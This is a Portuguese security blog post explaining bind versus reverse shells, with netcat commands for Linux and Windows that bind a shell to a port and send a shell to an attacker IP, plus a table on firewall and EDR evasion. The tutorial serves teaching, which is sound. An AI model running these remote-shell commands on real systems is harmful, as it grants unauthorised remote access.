Diferença entre reverse e bind shell

Diferença entre reverse e bind shell

Neste post, vamos explorar as diferenças entre o reverse shell e o bind shell, seus funcionamentos e casos de uso. Ambos são métodos que permitem a execução de comandos em um sistema remoto, mas funcionam de maneiras distintas.

O que é uma Shell?

Antes de falarmos das diferenças, é importante entender o que é uma shell: é uma interface que permite ao usuário interagir com o sistema operacional através de comandos. Uma shell remota permite que um usuário execute comandos em um sistema que não está fisicamente presente.

Bind Shell

Em uma bind shell, o sistema alvo abre uma porta e fica escutando conexões. Neste contexto, a máquina da vítima torna-se um “servidor” que aguarda conexões. O atacante então se conecta a essa porta para obter acesso à shell do sistema. Em outras palavras, o sistema comprometido “liga” (bind) a shell a uma porta específica e aguarda uma conexão.

Veja abaixo uma representação gráfica de bind shell.

yara rules regra de exemplo

Exemplo de Bind Shell com netcat

Antes de tudo, precisamos configurar o listener na máquina da vítima:

  • Linux
  • Windows
nc -lvnp 8080 -e bash
nc.exe -lvnp 8080 -e cmd

Agora, vamos conectar-se ao host da vítima a partir da máquina atacante. No exemplo abaixo, o IP da vítima é 192.168.100.100:

  • Linux
  • Windows
nc 192.168.100.100 8080 
nc.exe 192.168.100.100 8080

Reverse Shell

Na reverse shell, é o sistema da vítima que inicia a conexão com o atacante. O sistema comprometido abre uma conexão de saída para o sistema do atacante, permitindo que este obtenha acesso à shell. Neste contexto, a máquina do atacante torna-se um “servidor” que aguarda conexões. A máquina da vítima então conecta-se ao servidor, entregando uma shell.

Veja abaixo uma representação gráfica de reverse shell.

yara rules regra de exemplo

Exemplo de reverse shell com netcat

Antes de tudo, precisamos configurar o listener na máquina atacante:

  • Linux
  • Windows
nc -lvnp 8080
nc.exe -lvnp 8080

Agora, vamos conectar-se ao host do atacante a partir da máquina da vítima. No exemplo abaixo, o IP do atacante é 192.168.200.200:

  • Linux
  • Windows
nc 192.168.200.200 8080 -e bash
nc.exe 192.168.200.200 8080 -e cmd

Principais Diferenças

CaracterísticaBind ShellReverse Shell
Iniciação da ConexãoSistema da vítima inicia a escutaSistema da vítima inicia a conexão
Tipo de ConexãoAtacante se conecta a vítimaVítima se conecta ao atacante
FirewallsPode ser bloqueada caso o firewall esteja bem configuradoMenos provável ser bloqueada pois faz conexões de saída
EDRsMais suscetível a ser detectado pois abre uma portaMenos suscetível a ser detecado

Conclusão

Entender as diferenças entre reverse shell e bind shell é fundamental para profissionais de segurança da informação e administradores de sistemas. Ficou claro que a técnica de reverse shell possui mais vantagens em relação ao bind shell, uma vez que o bind shell pode ser mais facilmente detectados e bloqueados por sistemas de defesa.

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Pivoting com SSH

Pivoting com SSH

Uma das ferramentas mais eficazes para o processo de Pivoting é o OpenSSH , que se destaca por sua legitimidade e confiança.

Ler post completo
Open Redirect

Open Redirect

Uma vulnerabilidade de Open Redirect ou Redirecionamento Aberto ocorre quando uma aplicação web permite que um usuário controle o redirecionamento ou encaminhamento do site para outra URL de forma arbitrária.

Ler post completo
Hack the Box – Devel Writeup

Hack the Box – Devel Writeup

Usaremos o Metasploit neste post! Hoje veremos o writeup completo da máquina Legacy do Hack The Box!

Ler post completo